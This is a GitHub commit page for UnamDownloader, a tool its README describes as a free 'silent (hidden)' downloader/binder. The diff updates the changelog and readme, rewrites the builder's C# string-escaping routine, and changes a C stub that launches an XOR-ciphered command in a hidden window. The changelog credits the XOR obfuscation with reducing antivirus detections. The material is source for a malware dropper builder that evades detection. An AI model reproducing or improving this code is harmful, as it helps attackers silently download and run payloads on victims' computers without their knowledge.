Skip to content

Commit 7fa0cf9

Browse files
committed
Updated to v1.3.1
* Changed string literal function
1 parent 2773b5c commit 7fa0cf9

File tree

5 files changed

+24
-7
lines changed

5 files changed

+24
-7
lines changed

CHANGELOG.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
### v1.3.1 (05/09/2021)
2+
* Changed string literal function
13
### v1.3.0 (03/09/2021)
24
* Changed obfuscation from reversed string to XOR encryption, reduces detections and file size
35
* Fixed bug when file path included apostrophes or any other escape characters

README.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11

22
<img src="https://github.com/UnamSanctam/UnamDownloader/blob/master/UnamDownloader.png?raw=true">
33

4-
# UnamDownloader 1.3.0 - A free silent downloader
4+
# UnamDownloader 1.3.1 - A free silent downloader
55

66
A free silent (hidden) open source downloader (binder) that can be built as either a native C or managed .NET C# file. A downloader is essentially the same as a binder although it downloads the files instead of storing them in memory.
77

@@ -27,6 +27,8 @@ You can find the wiki [here](https://github.com/UnamSanctam/UnamDownloader/wiki)
2727

2828
## Changelog
2929

30+
### v1.3.1 (05/09/2021)
31+
* Changed string literal function
3032
### v1.3.0 (03/09/2021)
3133
* Changed obfuscation from reversed string to XOR encryption, reduces detections and file size
3234
* Fixed bug when file path included apostrophes or any other escape characters

UnamDownloader/Builder.Designer.cs

Lines changed: 1 addition & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

UnamDownloader/Builder.cs

Lines changed: 17 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -161,14 +161,27 @@ public string Cipher(string data, string key)
161161

162162
private static string ToLiteral(string input)
163163
{
164-
using (var writer = new StringWriter())
164+
var literal = new StringBuilder(input.Length + 2);
165+
foreach (var c in input)
165166
{
166-
using (var provider = CodeDomProvider.CreateProvider("CSharp"))
167+
switch (c)
167168
{
168-
provider.GenerateCodeFromExpression(new CodePrimitiveExpression(input), writer, null);
169-
return writer.ToString();
169+
case '\"': literal.Append("\\\""); break;
170+
case '\\': literal.Append(@"\\"); break;
171+
case '\0': literal.Append(@"\u0000"); break;
172+
case '\a': literal.Append(@"\a"); break;
173+
case '\b': literal.Append(@"\b"); break;
174+
case '\f': literal.Append(@"\f"); break;
175+
case '\n': literal.Append(@"\n"); break;
176+
case '\r': literal.Append(@"\r"); break;
177+
case '\t': literal.Append(@"\t"); break;
178+
case '\v': literal.Append(@"\v"); break;
179+
default:
180+
literal.Append(c);
181+
break;
170182
}
171183
}
184+
return literal.ToString();
172185
}
173186

174187
public string SaveDialog(string filter)

UnamDownloader/Resources/Program.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ int main(int argc, char **argv)
2222
memset(&p_info, 0, sizeof(p_info));
2323
s_info.cb = sizeof(s_info);
2424

25-
if (CreateProcess(NULL, cipher(#COMMAND, "#KEY", #LENGTH), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &s_info, &p_info))
25+
if (CreateProcess(NULL, cipher("#COMMAND", "#KEY", #LENGTH), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &s_info, &p_info))
2626
{
2727
CloseHandle(p_info.hProcess);
2828
CloseHandle(p_info.hThread);

0 commit comments

Comments
 (0)